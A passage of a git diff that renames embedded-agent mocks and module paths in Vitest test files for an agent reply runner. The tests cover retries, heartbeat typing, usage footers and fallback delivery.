runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "I'll ping you when it's done." }], meta: {}, successfulCronAdds: 0, @@ -2279,7 +2303,7 @@ describe("runReplyAgent reminder commitment guard", () => { ], }); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "I'll remind you tomorrow morning." }], meta: {}, successfulCronAdds: 0, @@ -2307,7 +2331,7 @@ describe("runReplyAgent reminder commitment guard", () => { ], }); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "I'll check back in an hour." }], meta: {}, successfulCronAdds: 0, @@ -2335,7 +2359,7 @@ describe("runReplyAgent reminder commitment guard", () => { ], }); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "I'll ping you later." }], meta: {}, successfulCronAdds: 0, @@ -2351,7 +2375,7 @@ describe("runReplyAgent reminder commitment guard", () => { it("still appends guard note when cron store read fails", async () => { loadCronStoreMock.mockRejectedValueOnce(new Error("store read failed")); - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "I'll remind you after lunch." }], meta: {}, successfulCronAdds: 0, @@ -2366,7 +2390,7 @@ describe("runReplyAgent reminder commitment guard", () => { }); describe("runReplyAgent fallback reasoning tags", () => { - type EmbeddedPiAgentParams = { + type EmbeddedAgentParams = { enforceFinalTag?: boolean; prompt?: string; }; @@ -2439,7 +2463,7 @@ describe("runReplyAgent fallback reasoning tags", () => { } it("enforces when the fallback provider requires reasoning tags", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: {}, }); @@ -2453,7 +2477,10 @@ describe("runReplyAgent fallback reasoning tags", () => { await createRun(); - const call = firstMockCallArg(runEmbeddedPiAgentMock, "PI run params") as EmbeddedPiAgentParams; + const call = firstMockCallArg( + runEmbeddedAgentMock, + "embedded run params", + ) as EmbeddedAgentParams; expect(call.enforceFinalTag).toBe(true); }); @@ -2466,7 +2493,7 @@ describe("runReplyAgent fallback reasoning tags", () => { systemPrompt: "Flush memory into the configured memory file.", relativePath: "memory/active.md", })); - runEmbeddedPiAgentMock.mockImplementation(async (params: EmbeddedPiAgentParams) => { + runEmbeddedAgentMock.mockImplementation(async (params: EmbeddedAgentParams) => { if (params.prompt?.includes("Pre-compaction memory flush.")) { return { payloads: [], meta: {} }; } @@ -2477,7 +2504,7 @@ describe("runReplyAgent fallback reasoning tags", () => { provider: "google-gemini-cli", model: "gemini-3", })); - compactState.compactEmbeddedPiSessionMock.mockResolvedValueOnce({ + compactState.compactEmbeddedAgentSessionMock.mockResolvedValueOnce({ ok: true, compacted: true, result: { tokensAfter: 1_000_000 }, @@ -2492,11 +2519,9 @@ describe("runReplyAgent fallback reasoning tags", () => { }, }); - const flushCall = runEmbeddedPiAgentMock.mock.calls.find(([params]) => - (params as EmbeddedPiAgentParams | undefined)?.prompt?.includes( - "Pre-compaction memory flush.", - ), - )?.[0] as EmbeddedPiAgentParams | undefined; + const flushCall = runEmbeddedAgentMock.mock.calls.find(([params]) => + (params as EmbeddedAgentParams | undefined)?.prompt?.includes("Pre-compaction memory flush."), + )?.[0] as EmbeddedAgentParams | undefined; expect(flushCall?.enforceFinalTag).toBe(true); }); @@ -2578,7 +2603,7 @@ describe("runReplyAgent response usage footer", () => { } it("appends session key when responseUsage=full", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: { agentMeta: { @@ -2598,8 +2623,8 @@ describe("runReplyAgent response usage footer", () => { expect(text).toContain(`· session \`${sessionKey}\``); }); - it("does not append session key or cost when responseUsage=tokens", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + it("does not append session key when responseUsage=tokens", async () => { + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: { agentMeta: { @@ -2641,7 +2666,7 @@ describe("runReplyAgent response usage footer", () => { }); it("shows configured costs for aws-sdk providers when responseUsage=full", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: { agentMeta: { @@ -2692,7 +2717,7 @@ describe("runReplyAgent response usage footer", () => { describe("runReplyAgent transient HTTP retry", () => { it("retries once after transient 521 HTML failure and then succeeds", async () => { vi.useFakeTimers(); - runEmbeddedPiAgentMock + runEmbeddedAgentMock .mockRejectedValueOnce( new Error( `521 Web server is downCloudflare`, @@ -2759,7 +2784,7 @@ describe("runReplyAgent transient HTTP retry", () => { await vi.advanceTimersByTimeAsync(2_500); const result = await runPromise; - expect(runEmbeddedPiAgentMock).toHaveBeenCalledTimes(2); + expect(runEmbeddedAgentMock).toHaveBeenCalledTimes(2); expect(runtimeErrorMock).toHaveBeenCalledWith( 'Transient HTTP provider error before reply (521 Web server is downCloudflare). Retrying once in 2500ms.', ); @@ -2775,7 +2800,7 @@ describe("runReplyAgent billing error classification", () => { // matches context overflow heuristics. This test verifies the final user-visible // message is the billing-specific one, not the "Context overflow" fallback. it("returns billing message for mixed-signal error (billing text + overflow patterns)", async () => { - runEmbeddedPiAgentMock.mockRejectedValueOnce( + runEmbeddedAgentMock.mockRejectedValueOnce( new Error("402 Payment Required: request token limit exceeded for this billing plan"), ); @@ -2895,7 +2920,7 @@ describe("runReplyAgent mid-turn rate-limit fallback", () => { } it("surfaces a final error when only reasoning preceded a mid-turn rate limit", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "reasoning", isReasoning: true }], meta: { error: { @@ -2912,7 +2937,7 @@ describe("runReplyAgent mid-turn rate-limit fallback", () => { }); it("preserves successful media-only replies that use legacy mediaUrl", async () => { - runEmbeddedPiAgentMock.mockResolvedValueOnce({ + runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ mediaUrl: "https://example.test/image.png" }], meta: { error: { diff --git a/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts b/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts index 5c257303c1a..85c60549be8 100644 --- a/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts +++ b/src/auto-reply/reply/agent-runner.runreplyagent.e2e.test.ts @@ -29,9 +29,9 @@ type AgentRunParams = { }; const state = vi.hoisted(() => ({ - compactEmbeddedPiSessionMock: vi.fn(), - queueEmbeddedPiMessageMock: vi.fn(), - runEmbeddedPiAgentMock: vi.fn(), + compactEmbeddedAgentSessionMock: vi.fn(), + queueEmbeddedAgentMessageMock: vi.fn(), + runEmbeddedAgentMock: vi.fn(), })); function countMatching(items: readonly T[], predicate: (item: T) => boolean): number { @@ -94,15 +94,15 @@ vi.mock("../../agents/model-fallback.js", () => ({ Array.isArray((err as { attempts?: unknown[] }).attempts), })); -vi.mock("../../agents/pi-embedded.js", () => ({ - compactEmbeddedPiSession: (params: unknown) => state.compactEmbeddedPiSessionMock(params), - queueEmbeddedPiMessage: vi.fn().mockReturnValue(false), - runEmbeddedPiAgent: (params: unknown) => state.runEmbeddedPiAgentMock(params), +vi.mock("../../agents/embedded-agent.js", () => ({ + compactEmbeddedAgentSession: (params: unknown) => state.compactEmbeddedAgentSessionMock(params), + queueEmbeddedAgentMessage: vi.fn().mockReturnValue(false), + runEmbeddedAgent: (params: unknown) => state.runEmbeddedAgentMock(params), })); -vi.mock("../../agents/pi-embedded-runner/runs.js", () => ({ - queueEmbeddedPiMessage: (sessionId: string, prompt: string, options: unknown) => - state.queueEmbeddedPiMessageMock(sessionId, prompt, options), +vi.mock("../../agents/embedded-agent-runner/runs.js", () => ({ + queueEmbeddedAgentMessage: (sessionId: string, prompt: string, options: unknown) => + state.queueEmbeddedAgentMessageMock(sessionId, prompt, options), })); vi.mock("./queue.js", () => ({ @@ -120,19 +120,19 @@ beforeAll(async () => { beforeEach(() => { replyRunTesting.resetReplyRunRegistry(); - state.compactEmbeddedPiSessionMock.mockReset(); - state.compactEmbeddedPiSessionMock.mockResolvedValue({ + state.compactEmbeddedAgentSessionMock.mockReset(); + state.compactEmbeddedAgentSessionMock.mockResolvedValue({ ok: true, compacted: false, reason: "test-default", }); - state.runEmbeddedPiAgentMock.mockReset(); - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockReset(); + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "final" }], meta: { agentMeta: { usage: { input: 1, output: 1 } } }, }); - state.queueEmbeddedPiMessageMock.mockReset(); - state.queueEmbeddedPiMessageMock.mockReturnValue(false); + state.queueEmbeddedAgentMessageMock.mockReset(); + state.queueEmbeddedAgentMessageMock.mockReturnValue(false); vi.mocked(enqueueFollowupRun).mockClear(); vi.mocked(refreshQueuedFollowupSession).mockClear(); vi.mocked(scheduleFollowupDrain).mockClear(); @@ -247,7 +247,7 @@ describe("runReplyAgent heartbeat followup guard", () => { const result = await run(); expect(result).toBeUndefined(); - expect(state.runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(state.runEmbeddedAgentMock).not.toHaveBeenCalled(); expect(typing.cleanup).toHaveBeenCalledTimes(1); active.complete(); }); @@ -282,8 +282,8 @@ describe("runReplyAgent heartbeat followup guard", () => { active.complete(); await pending; - expect(state.runEmbeddedPiAgentMock).toHaveBeenCalledTimes(1); - const [call] = mockCallArgs(state.runEmbeddedPiAgentMock, "run embedded pi agent"); + expect(state.runEmbeddedAgentMock).toHaveBeenCalledTimes(1); + const [call] = mockCallArgs(state.runEmbeddedAgentMock, "run embedded agent"); expect((call as AgentRunParams).sessionId).toBe("post-compact-session"); expect((call as AgentRunParams).sessionFile).toBe("/tmp/post-compact.jsonl"); }); @@ -300,7 +300,7 @@ describe("runReplyAgent heartbeat followup guard", () => { const result = await run(); expect(result).toBeUndefined(); - expect(state.runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(state.runEmbeddedAgentMock).not.toHaveBeenCalled(); expect(typing.cleanup).toHaveBeenCalledTimes(1); }); @@ -316,12 +316,12 @@ describe("runReplyAgent heartbeat followup guard", () => { expect(result).toBeUndefined(); expect(vi.mocked(enqueueFollowupRun)).not.toHaveBeenCalled(); - expect(state.runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(state.runEmbeddedAgentMock).not.toHaveBeenCalled(); expect(typing.cleanup).toHaveBeenCalledTimes(1); }); it("drops heartbeat runs before steering active streams", async () => { - state.queueEmbeddedPiMessageMock.mockReturnValueOnce(true); + state.queueEmbeddedAgentMessageMock.mockReturnValueOnce(true); const { run, typing } = createMinimalRun({ opts: { isHeartbeat: true }, isActive: true, @@ -334,9 +334,9 @@ describe("runReplyAgent heartbeat followup guard", () => { const result = await run(); expect(result).toBeUndefined(); - expect(state.queueEmbeddedPiMessageMock).not.toHaveBeenCalled(); + expect(state.queueEmbeddedAgentMessageMock).not.toHaveBeenCalled(); expect(vi.mocked(enqueueFollowupRun)).not.toHaveBeenCalled(); - expect(state.runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(state.runEmbeddedAgentMock).not.toHaveBeenCalled(); expect(typing.cleanup).toHaveBeenCalledTimes(1); }); @@ -352,7 +352,7 @@ describe("runReplyAgent heartbeat followup guard", () => { expect(result).toBeUndefined(); expect(vi.mocked(enqueueFollowupRun)).toHaveBeenCalledTimes(1); - expect(state.runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(state.runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("keeps typing alive when a followup is queued behind a live active run", async () => { @@ -369,7 +369,7 @@ describe("runReplyAgent heartbeat followup guard", () => { expect(result).toBeUndefined(); expect(vi.mocked(enqueueFollowupRun)).toHaveBeenCalledTimes(1); expect(vi.mocked(scheduleFollowupDrain)).not.toHaveBeenCalled(); - expect(state.runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(state.runEmbeddedAgentMock).not.toHaveBeenCalled(); expect(typing.startTypingLoop).toHaveBeenCalledTimes(1); expect(typing.refreshTypingTtl).toHaveBeenCalledTimes(1); expect(typing.cleanup).not.toHaveBeenCalled(); @@ -389,7 +389,7 @@ describe("runReplyAgent heartbeat followup guard", () => { expect(result).toBeUndefined(); expect(vi.mocked(enqueueFollowupRun)).toHaveBeenCalledTimes(1); expect(vi.mocked(scheduleFollowupDrain)).toHaveBeenCalledTimes(1); - expect(state.runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(state.runEmbeddedAgentMock).not.toHaveBeenCalled(); expect(typing.cleanup).toHaveBeenCalledTimes(1); }); @@ -398,7 +398,7 @@ describe("runReplyAgent heartbeat followup guard", () => { const persistSpy = vi .spyOn(accounting, "persistRunSessionUsage") .mockRejectedValueOnce(new Error("persist exploded")); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "ok" }], meta: { agentMeta: { usage: { input: 1, output: 1 } } }, }); @@ -433,7 +433,7 @@ describe("runReplyAgent pending final delivery capture", () => { }; const sessionStore = { main: sessionEntry }; const storePath = await createSessionStoreFile(sessionEntry); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "private final" }], meta: {}, }); @@ -461,7 +461,7 @@ describe("runReplyAgent pending final delivery capture", () => { }; const sessionStore = { main: sessionEntry }; const storePath = await createSessionStoreFile(sessionEntry); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "denied final" }], meta: {}, }); @@ -487,7 +487,7 @@ describe("runReplyAgent pending final delivery capture", () => { }; const sessionStore = { main: sessionEntry }; const storePath = await createSessionStoreFile(sessionEntry); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "hidden reasoning", isReasoning: true }, { text: "visible final" }], meta: {}, }); @@ -513,7 +513,7 @@ describe("runReplyAgent pending final delivery capture", () => { }; const sessionStore = { main: sessionEntry }; const storePath = await createSessionStoreFile(sessionEntry); - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "Sent daily summary to channel." }], meta: {}, }); @@ -544,7 +544,7 @@ describe("runReplyAgent pending final delivery capture", () => { const sessionStore = { main: sessionEntry }; const storePath = await createSessionStoreFile(sessionEntry); const longRemainder = "Sent daily digest to channel. ".repeat(12).trimEnd(); // ~360 chars, > 300 - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: `HEARTBEAT_OK ${longRemainder}` }], meta: {}, }); @@ -568,7 +568,7 @@ describe("runReplyAgent pending final delivery capture", () => { describe("runReplyAgent typing (heartbeat)", () => { it("signals typing for normal runs", async () => { const onPartialReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onPartialReply?.({ text: "hi" }); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -585,7 +585,7 @@ describe("runReplyAgent typing (heartbeat)", () => { it("never signals typing for heartbeat runs", async () => { const onPartialReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onPartialReply?.({ text: "hi" }); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -611,7 +611,7 @@ describe("runReplyAgent typing (heartbeat)", () => { "utf-8", ); try { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "HEARTBEAT_OK" }], meta: {}, }); @@ -664,7 +664,7 @@ describe("runReplyAgent typing (heartbeat)", () => { for (const testCase of cases) { const onPartialReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { for (const text of testCase.partials) { await params.onPartialReply?.({ text }); } @@ -700,7 +700,7 @@ describe("runReplyAgent typing (heartbeat)", () => { it("keeps final text blocks after partial preview streaming", async () => { const onPartialReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onPartialReply?.({ text: "First block\n\nSecond block" }); return { payloads: [{ text: "First block" }, { text: "Second block" }], @@ -726,7 +726,7 @@ describe("runReplyAgent typing (heartbeat)", () => { const onPartialReply = vi.fn(); const onBlockReply = vi.fn(); const onReasoningStream = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { expect(params.silentExpected).toBe(true); await params.onReasoningStream?.({ text: "Reasoning:\nI am trying to send NO_REPLY now." }); await params.onPartialReply?.({ text: "I am trying to send NO_REPLY now." }); @@ -751,7 +751,7 @@ describe("runReplyAgent typing (heartbeat)", () => { const onPartialReply = vi.fn(); const onBlockReply = vi.fn(); const onReasoningStream = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { expect(params.silentExpected).toBe(true); await params.onReasoningStream?.({ text: "Reasoning:\nNO_REPLY" }); await params.onPartialReply?.({ text: "NO_REPLY" }); @@ -773,7 +773,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("does not start typing on assistant message start without prior text in message mode", async () => { - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onAssistantMessageStart?.(); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -788,7 +788,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("starts typing from reasoning stream in thinking mode", async () => { - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onReasoningStream?.({ text: "Reasoning:\n_step_" }); await params.onPartialReply?.({ text: "hi" }); return { payloads: [{ text: "final" }], meta: {} }; @@ -806,7 +806,7 @@ describe("runReplyAgent typing (heartbeat)", () => { it("keeps assistant partial streaming enabled when reasoning mode is stream", async () => { const onPartialReply = vi.fn(); const onReasoningStream = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onReasoningStream?.({ text: "Reasoning:\n_step_" }); await params.onPartialReply?.({ text: "answer chunk" }); return { payloads: [{ text: "final" }], meta: {} }; @@ -823,7 +823,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("suppresses typing in never mode", async () => { - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onPartialReply?.({ text: "hi" }); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -839,7 +839,7 @@ describe("runReplyAgent typing (heartbeat)", () => { it("signals typing on normalized block replies", async () => { const onBlockReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onBlockReply?.({ text: "\n\nchunk", mediaUrls: [] }); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -863,7 +863,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("strips workflow function response scaffolding from final delivery", async () => { - state.runEmbeddedPiAgentMock.mockImplementationOnce(async () => ({ + state.runEmbeddedAgentMock.mockImplementationOnce(async () => ({ payloads: [ { text: [ @@ -906,7 +906,7 @@ describe("runReplyAgent typing (heartbeat)", () => { for (const testCase of cases) { const onToolResult = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onToolResult?.({ text: testCase.toolText, mediaUrls: [] }); return { payloads: [{ text: "final" }], meta: {} }; }); @@ -936,7 +936,7 @@ describe("runReplyAgent typing (heartbeat)", () => { it("preserves channelData on forwarded tool results", async () => { const onToolResult = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onToolResult?.({ text: "Approval required.\n\n```txt\n/approve 117ba06d allow-once\n```", channelData: { @@ -970,7 +970,7 @@ describe("runReplyAgent typing (heartbeat)", () => { it("forwards media-only tool results without typing text", async () => { const onToolResult = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onToolResult?.({ mediaUrls: ["/tmp/generated.png"], }); @@ -996,7 +996,7 @@ describe("runReplyAgent typing (heartbeat)", () => { it("retries transient HTTP failures once with timer-driven backoff", async () => { vi.useFakeTimers(); let calls = 0; - state.runEmbeddedPiAgentMock.mockImplementation(async () => { + state.runEmbeddedAgentMock.mockImplementation(async () => { calls += 1; if (calls === 1) { throw new Error("502 Bad Gateway"); @@ -1028,7 +1028,7 @@ describe("runReplyAgent typing (heartbeat)", () => { updatedAt: Date.now(), }; const sessionStore = { main: sessionEntry }; - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "final" }], meta: {}, }); @@ -1098,7 +1098,7 @@ describe("runReplyAgent typing (heartbeat)", () => { const storePath = join(storeRoot, "sessions.json"); await writeFile(storePath, JSON.stringify(sessionStore), "utf-8"); try { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "subagent timed out" }], meta: { agentMeta: { @@ -1181,7 +1181,7 @@ describe("runReplyAgent typing (heartbeat)", () => { model: "gpt-5.5", }; const sessionStore = { main: sessionEntry }; - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {}, }); @@ -1245,7 +1245,7 @@ describe("runReplyAgent typing (heartbeat)", () => { const sessionStore = { main: sessionEntry }; const onBlockReply = vi.fn(); - state.runEmbeddedPiAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { + state.runEmbeddedAgentMock.mockImplementationOnce(async (params: AgentRunParams) => { await params.onBlockReply?.({ text: "streamed answer" }); return { payloads: [], meta: {} }; }); @@ -1293,7 +1293,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }; const sessionStore = { main: sessionEntry }; - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "final" }], meta: {}, }); @@ -1343,7 +1343,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("surfaces a configured backend failure when fallback produces no visible reply", async () => { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "NO_REPLY" }], meta: {}, }); @@ -1390,7 +1390,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("surfaces a configured backend failure when fallback returns no payloads", async () => { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], meta: {}, }); @@ -1447,7 +1447,7 @@ describe("runReplyAgent typing (heartbeat)", () => { modelOverrideFallbackOriginModel: "gemma-4-e4b-it", }; const sessionStore = { main: sessionEntry }; - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "NO_REPLY" }], meta: {}, }); @@ -1475,7 +1475,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("announces fallback without silence failure when fallback already replied through a messaging tool", async () => { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "already sent" }], messagingToolSentTexts: ["already sent"], messagingToolSentTargets: [{ tool: "message", provider: "discord", to: "channel:C1" }], @@ -1527,7 +1527,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("does not treat whitespace-only messaging evidence as fallback delivery", async () => { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "NO_REPLY" }], messagingToolSentTexts: [" "], messagingToolSentMediaUrls: ["\t"], @@ -1581,7 +1581,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("announces fallback without silence failure when fallback already completed a cron side effect", async () => { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "NO_REPLY" }], successfulCronAdds: 1, meta: {}, @@ -1632,7 +1632,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("announces fallback without silence failure when fallback committed target-only messaging delivery", async () => { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "NO_REPLY" }], messagingToolSentTargets: [{ tool: "message", provider: "discord", to: "channel:C1" }], meta: {}, @@ -1683,7 +1683,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("announces fallback without silence failure when fallback already delivered an approval prompt", async () => { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [], didSendDeterministicApprovalPrompt: true, meta: {}, @@ -1731,7 +1731,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("preserves intentional fallback silence when the turn permits silent replies", async () => { - state.runEmbeddedPiAgentMock.mockResolvedValueOnce({ + state.runEmbeddedAgentMock.mockResolvedValueOnce({ payloads: [{ text: "NO_REPLY" }], meta: {}, }); @@ -1783,7 +1783,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }; const sessionStore = { main: sessionEntry }; - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "final" }], meta: {}, }); @@ -1839,7 +1839,7 @@ describe("runReplyAgent typing (heartbeat)", () => { const sessionStore = { main: sessionEntry }; let callCount = 0; - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "final" }], meta: {}, }); @@ -1909,7 +1909,7 @@ describe("runReplyAgent typing (heartbeat)", () => { const sessionStore = { main: sessionEntry }; let callCount = 0; - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "final" }], meta: {}, }); @@ -1989,7 +1989,7 @@ describe("runReplyAgent typing (heartbeat)", () => { const sessionStore = { main: sessionEntry }; let callCount = 0; - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "final" }], meta: {}, }); @@ -2089,7 +2089,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }; const sessionStore = { main: sessionEntry }; - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "final" }], meta: {}, }); @@ -2140,7 +2140,7 @@ describe("runReplyAgent typing (heartbeat)", () => { const storePath = join(dir, "sessions.json"); await writeFile(storePath, JSON.stringify({ main: sessionEntry }), "utf8"); - state.runEmbeddedPiAgentMock.mockResolvedValue({ + state.runEmbeddedAgentMock.mockResolvedValue({ payloads: [{ text: "final" }], meta: { agentMeta: { @@ -2184,7 +2184,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("surfaces overflow fallback when embedded run returns empty payloads", async () => { - state.runEmbeddedPiAgentMock.mockImplementationOnce(async () => ({ + state.runEmbeddedAgentMock.mockImplementationOnce(async () => ({ payloads: [], meta: { durationMs: 1, @@ -2207,7 +2207,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("surfaces overflow fallback when embedded payload text is whitespace-only", async () => { - state.runEmbeddedPiAgentMock.mockImplementationOnce(async () => ({ + state.runEmbeddedAgentMock.mockImplementationOnce(async () => ({ payloads: [{ text: " \n\t ", isError: true }], meta: { durationMs: 1, @@ -2230,7 +2230,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("returns friendly message for role ordering errors thrown as exceptions", async () => { - state.runEmbeddedPiAgentMock.mockImplementationOnce(async () => { + state.runEmbeddedAgentMock.mockImplementationOnce(async () => { throw new Error("400 Incorrect role information"); }); @@ -2243,7 +2243,7 @@ describe("runReplyAgent typing (heartbeat)", () => { }); it("rewrites Bun socket errors into friendly text", async () => { - state.runEmbeddedPiAgentMock.mockImplementationOnce(async () => ({ + state.runEmbeddedAgentMock.mockImplementationOnce(async () => ({ payloads: [ { text: "TypeError: The socket connection was closed unexpectedly. For more information, pass `verbose: true` in the second argument to fetch()", diff --git 